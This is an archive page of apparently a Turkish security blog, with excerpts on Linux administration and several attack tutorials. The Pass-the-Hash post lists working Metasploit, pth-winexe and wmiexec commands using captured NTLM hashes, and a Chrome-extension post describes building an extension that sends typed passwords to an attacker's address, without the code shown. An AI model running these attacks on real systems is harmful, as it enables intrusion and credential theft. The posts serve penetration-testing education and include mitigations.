12 Mayıs 2017

21 Nisan 2017

Kali Linux - Bölüm 15: Log Altyapısı

Unix ve türevi sistemler uzun süreden beri çok güçlü bir loglama altyapısına sahiptir. Windows’da halen olmamasına rağmen uzun süredir Unix ve türevi sistemlerin uzağa log gönderme kabiliyeti bulunmaktadır.
Sanılanın aksine Unix ve türevi sistemlerdeki tek log dosyası syslog değildir.

06 Nisan 2017

Kali Linux - Bölüm 14: Zamanlı İşler

Unix / Linux sistemlerde ilk zamanlarından bu yana gelişmiş bir özellik olan zamanlı işler özellikle sistem yöneticileri tarafından sıklıkla kullanılmaktadır. “cron” işleri örnek olarak düzenli olarak disk kullanım oranını ölçmek ve sistem yöneticisini uyarmak, uzun süredir kullanılmayan geçici dosyaları sistem üzerinden temizlemek gibi işlemlerde kullanılabilir. Ancak yapılan işlemlerin kritikliğine göre bu sistemi ve konfigürasyonunu iyi anlamak önemlidir.

26 Mart 2017

Kali Linux - Bölüm 13: Sistem Boot Süreci ve Servis Yönetimi

Sistem boot ve shutdown süreçleri

Linux’un boot sürecini anlamak ne işinize yarayabilir? Sisteminiz açıldığında otomatik olarak başlatılan servislerin tam olarak nasıl başlatıldıklarını (ve shutdown sırasında kapatıldıklarını öğrenebilirsiniz). Linux tabanlı bir gömülü sistem oluşturmayı düşündüğünüzde kurgulamanız gereken temel sistem bileşenlerini daha rahat anlarsınız.

17 Mart 2017

Oracle Veritabanı Üzerinden Sistem Ele Geçirme

Veritabanları güçlü fonksiyonaliteleri sayesinde işletim sistemi ele geçirmeye giden yolu bize açabilirler. MSSQL Server için xp_cmdshell extended stored prosedürü ile komut satırı komutu çalıştırma, MySQL için INTO OUTFILE özelliği ile hedef sistemin dosya sistemine dosya yazarak hedef sistem üzerinde kod çalıştırma yöntemleri az sayıda adımda gerçekleştirilebildiği için çok bilinen yöntemlerdir. Ancak Oracle'da aynı sonuçlara ulaşmak için hem daha fazla adım atmak lazım, hem de uygulama geliştirme (ya da en azından kullandığınız uygulama kodunu anlama) ihtiyacı bulunmaktadır.

06 Mart 2017

Pass the Hash Saldırısı ile Domain'i Ele Geçirme

Bir networkte birden fazla client bulunduğunda domain server kurulur. Bu server üzerinde gerekli politikalar oluşturularak kullanıcı oluşturulur. Daha sonra client’lar bilgisayarlarını açmak istediklerinde active directory’deki credential bilgileri ile bilgisayarlarını açarlar. 

Biz burada client üzerinde bulunan parola hash’lerini alarak domain server'ı ele geçireceğiz. Kullanıcı hem client’ta hem de server üzerinde çalışabilen bir kullanıcı olmalıdır.



Client Windows XP SP1 çalışan bir cihaz ve serverda Windows Server 2008 r2 işletim sistemlerine sahiptirler. Client active directory’yi kullanarak login olmaktadır. Xp üzerinde “MS03-026 dcom” açıklığı bulunmaktadır. Bu açıklık yardımıyla parola hashlerini çekeceğiz.

msf > use exploit/windows/dcerpc/ms03_026_dcom
msf exploit(ms03_026_dcom) > set RHOST 192.168.2.133
RHOST => 192.168.2.133
msf exploit(ms03_026_dcom) > set RPORT 135
RPORT => 135
msf exploit(ms03_026_dcom) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(ms03_026_dcom) > run 

"run" denilip meterpreter shell açıldıktan sonra ram üzerinde bilgileri çekmemiz gerekmektedir. Meterpreterda "hashdump" yazdığımızda, SAM dosyasındaki bilgileri vermektedir. Bu bizim için yeterli olmayacaktır. Bundan dolayı mimikatz aracını kullanarak aktif olan kullanıcıyıda görüntüleyebileceğiz.


Saldıracağımız kullanıcı "BTRISKLOCAL administrator" olacaktır. Bu kullanıcı hem clientta(XP de), hem de server(Windows Server 2008) de login olabilen bir kullanıcıdır. Bu kullanıcı ile sunucuyu ele geçireceğiz.

Doğru domain bilgilerini öğrenebilmemiz için nmap aracını kullanabilirsiniz.  

nmap -p 445 --script smb-os-discovery 192.168.2.5
use exploit/windows/smb/psexec modulunu kullanarak servera login olunabilmektedir. 

msf >  use exploit/windows/smb/psexec
msf exploit(psexec) > set RHOST 192.168.2.5
RHOST => 192.168.2.5
msf exploit(psexec) > set SMBUser administrator
SMBUser => administrator 
msf exploit(psexec) > set SMBPass f26fb3ae03e93ab9c81667e9d738c5d9:47bf8039a8506cd67c524a03ff84ba4e
SMBPass => f26fb3ae03e93ab9c81667e9d738c5d9:47bf8039a8506cd67c524a03ff84ba4e
msf exploit(psexec) > set SMBDomain btrisklocal
SMBDomain => btrisklocal
msf exploit(psexec) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(psexec) > set LHOST 192.168.184.131
LHOST => 192.168.184.131
msf exploit(psexec) > run
 Gerekli bilgileri girildiğinden emin olun.

show options denildiğinde ayarlar aşağıdaki gibi olacaktır.


"run" dedikten sonra server'a giriş yapıyoruz. 


Metasploit kullanmadan da bu işlemleri yapabilirsiniz. Bunun içinde pth-winexe, freerdp-x11, wmiexec.exe(Windowsda) vb. araçlar kullanılabilir. Bu araçlar da aynı mantıkla çalışmaktadır.

#pth-winece Kullanımı
pth-winexe -U DOMAIN/username%hash //IP cmd.exe
pth-winexe -U btrisklocal/administrator%f26fb3ae03e93ab9c81667e9d738c5d9:47bf8039a8506cd67c524a03ff84ba4e //192.168.2.5 cmd.exe

#freerdp-x11 Kullanımı
xfreerdp /u:username /d:DOMAIN /ptn:hash /v:IP

#Windowsda kullanabileceğiniz wmiexec
.\wmiexec.exe -hashes HASH username@IP
Bulduğunuz hash'i decrypter araçları ile çözerek elde edilen parola ile başka sistemlere authentication uygulanabilir. Belki daha yetkili sistemlere giriş yapmaya izin verebilir. 

Pass The Hash Saldırına Nasıl Engellenebilir?
1 - Eğer SMB servisine ihtiyaç yoksa kapatılmalıdır.
2 - Yönetimsel paylaşımların kapatılması. Pass the Hash yöntemleri bu yöntemi kullandığından, bu paylaşım kapatılmalıdır. Paylaşımları kapatmak için regedite şu değer eklenmelidir;
    "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanmanServer\Parameters\" altında  autosharewks ve  AutoShareServer REG_DWORD tipinde eklenmeli ve değerleri 0 yapılmalıdır. Ya da command line'da aşağıdaki komutlar çalıştırılmalıdır.


    reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanManServer\Parameters" /v AutoShareWks /t REG_DWORD /d 0 /f
    reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanManServer\Parameters" /v AutoShareServer /t REG_DWORD /d 0 /f

    3 - UAC aktif etme; Kullanıcı Hesap Denetimi kullanılarak çalıştırılabilir bir dosya çalıştırıldığında kullanıcıdan izin istemesi sağlanmalıdır. Bunun için;
      Denetim Masası (Control Panel) -> Kullanıcı Hesapları (User Accounts) sayfasında Kullanıcı Hesabı Denetimini aç veya kapat (Turn User Account Control on or off) seçeneği tıklanır. Çıkan sayfadaki düğmenin onayı kaldırılıp Tamam'a (OK) tıklanır ve bilgisayar yeniden başlatılır. Ya da Regeditte aşağıdaki değişiklik uygulanmalıdır.

      "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\" altında "EnableLUA" ve "FilterAdministratorToken" değerleri 1 olarak değiştirilmelidir. 


      reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 1 /f
      reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v FilterAdministratorToken /t REG_DWORD /d 1 /f
      Böylece sisteme girişler engellenmiş olur.

      23 Şubat 2017

      Zararlı Chrome Extension Geliştirme

      Kullanıcılar bir takım işlerini kolaylaştırmak için browser eklentisi kullanmaktadır. Fakat bu eklentilerin zararları neler olabileceği hakkında fikirleri bulunmamaktadır. Bazen browser’ın storelarından bazen de zararlı bir çalıştırılabilir (executable) kod yardımı ile bu eklentiler browser'a eklenebilmektedir.

      Store'lardan indirilen eklenti normal bir işleşi bulunmaktadır. Fakat bunun yanında bir de saldırganın belirlediği kodlar çalıştırılabilir.

      Zararlı eklenti kurdurmak için, zararlı bir çalıştırılabilir dosya yardımıyla eklenti gizli bir şekilde browser'a eklenebilmekte ve kullanıcı fark etmemektedir. Burada çalıştırılabilir dosya fark edilse, kaldırılsa bile eklenti browser'da kalabilmekte. Böylece sağ gösterip sol vurulmuş olabilir. Bu sadece gizlenmenin, yakalanmamanın bir adımı olarak kullanılabilir. Ama çalıştırılabilir dosya çalıştırıldıktan sonra shell de alınabilir denilebilir. Burada amaca yönelik işlem yapmaya çalışıyoruz. 

      Bu yazımızda zararlı bir extension nasıl geliştirilirilebilir bunun üzerinde duracağız. Bir extension geliştirmek için html ve javascript bilmeniz gerekmektedir. Benim yazdığım extension her web sitesi açıldığında sayfaya yüklendikten sonra kullanıcı adı ve parola bilgilerini bizim belirlediğimiz bir alana göndermektedir.

      Extension oluşturmak için bir manifest.json dosyası olması gerekmektedir. Bu dosya içersinde extension tanımları ve özellikle izinler tanımlanmalıdır.

      Manifest dosyası aşağıdaki gibi olmalıdır.



      • "name" eklentimizin ismidir ve eklentiler sayfasında görünür.
      • "description" eklentiye ait açıklamadır.
      • "version" eklentinin versiyonudur.
      • "background" kısmında ise eklentimizde kullanacağımız ana kütüphaneleri ve geliştirdiğimiz JavaScript dosyalarını belirtiyoruz. 
      • "browser_action" eklentiye ait olaylar ve dosya bağlantıları burada tanımlanır.
      • "default_icon" adres çubuğunun yanında görünecek olan icondur.
      • "popup" icona tıklandığında yüklenecek olan html dosyasının adıdır.
      Event.js aşağıdaki gibi olmalıdır.



      Content.js aşağıdaki gibi olmalıdır.



      Oluşturulan dosyalardan sonra klasör görünümü;



      Şimdi Chrome Eklentiler sayfasına geliyoruz. Eklemek için “developer mode” aktif edilmesi gerekmektedir. Load unpacked extensions butonuna tıklayıpda direk yükleyebiliriz. 



      Aşağıda oluşturduğumuz dosyayı yolunu seçerek bulunduğu dosyaya .crx uzantılı dosyayı ve sertifikayı çıkarmaktadır.



      Artık extension hazır. Extention’ı browser'a eklemeniz gerekmektedir. Dosyayı aşağıdaki gibi extensions sayfasını açarak buradan sürükle bırak yaparak ekleyebilirsiniz. Bu adıma dikkat edin.



      Extention eklendiğe dair bilgileri kontrol etmelisiniz.


      Şimdi test edelim. Kullanıcı herhangi bir siteye girdiğinde kullanıcı adı ve parolasını yazdığında bizim extension bu bilgileri html içinden alarak(sol taraftaki resim), bizim belirlediğimiz adrese(sağ taraftaki resim) göndermektedir. Biz de tabi başka bir saldırı makinasından diyor olacağız. Kullanıcı adı girildiğinde sağ tarafta girilen bilgi saldırgana iletilmiş olur.



      Extension parola bilgisini de göndermektedir. Kullanıcı parola bilgisini girdiğinde saldırgan(sağ taraftaki resim) bu bilgiyi elde edecektir.



      Tabi buraya kadar anlattıklarımız nasıl extention geliştirme ile ilgili oldu. Seneryoları geliştirerek sayfaya ait cookie bilgileri, diğer bilgileri elde edilebilir. 

      Sizin adınıza facebook, twitter ve diğer sosyal ağlarda beğenme, yorum, paylaşım ile karşılaşdığınız olmuştur. Bunu da extension ile yapılabileceğini görmekteyiz. Belki ddos yapmak için bir botnet ağı kurulabilir. Hayal gücünüzü kullanarak saldırı adımları genişletilebilir. 

      13 Şubat 2017

      Google Hacking Temel Bilgiler

      Google Hacking Temel Bilgileri
      Google sızma testi sırasında sağladığı özel anahtar kelimeler de kullanılarak hedef hakkında bilgi toplama amacıyla kullanılabilir. Arama sırasında kullanacağınız kelimelerin başına bazı özel Google terimlerinden yerleştirerek aramanızı daraltabilir ve istediğiniz sayfalara veya bilgilere daha hızlı ulaşabilirsiniz. İşte size bu kullanışlı olan operatörler:


      20 Ocak 2017

      BÜSİBER 2017 Siber Güç Kış Kampı Tamamlandı

      Değerli BÜSİBER ekibiyle gerçekleştirdiğimiz BÜSİBER 2017 Siber Güç Kış Kampı tüm gün süren CTF Lab çalışması ile tamamlandı.

      Bize ve 20 değerli öğrencimize bu imkanı sağlayan Boğaziçi Üniversitesi ve Bilgin Metin hocamıza tekrar şükranlarımızı sunuyoruz. Sadece etkinlik yapalım yaklaşımından uzak, öğrencilerimizin katılım ve çabaları ile bizi etkiledikleri, gurur duyduğumuz başarılı bir çalışma oldu. Türkiye'mizin güvenliğine katkı yapabildiğimiz için çok mutluyuz.


      18 Ocak 2017

      BÜSİBER 2017 Siber Güç Kış Kampı Başladı

      Boğaziçi Üniversitesi BÜSİBER çatısı altında düzenlenen 2017 yılı Siber Güç Kış Kampı'mız kampa katılmaya hak kazanmış farklı üniversitelerden 20 katılımcı öğrencimiz ile devam ediyor.

      Siber güvenlik insan kaynağının geliştirilmesi ve bu alanda kendini geliştirmek amacıyla çaba gösteren değerli gençlerimiz için kaliteli ve ileri düzey bir eğitim içeriğinin öğrencilerimize ulaştırılması yolunda gayret ve desteklerini esirgemeyen BÜSİBER üyeleri, Boğaziçi Üniversitesi öğretim görevlileri ve çalışanlarına şükranlarımızı sunuyoruz.

      Ne iyi ki sizler varsınız.

      01 Ocak 2017

      MySQL UDF (User Defined Function) Fonksiyonalitesi ile Yetki Yükseltme Saldırısı

      Aşağıdaki örneğimiz bir Windows bilgisayar örneği üzerinde gerçekleştirilmiştir. Aynı süreç Linux için de geçerlidir, ancak kullanılacak DDL (yani shared object – SO dosyası) farklı olacaktır.
      Diyelim ki hedef bilgisayarda düşük haklara sahip bir kullanıcı hakları ile shell aldık ve aşağıdaki komutla oluşturduğumuz reverse TCP payload’unu hedef bilgisayara aktardık ve çalıştırdık.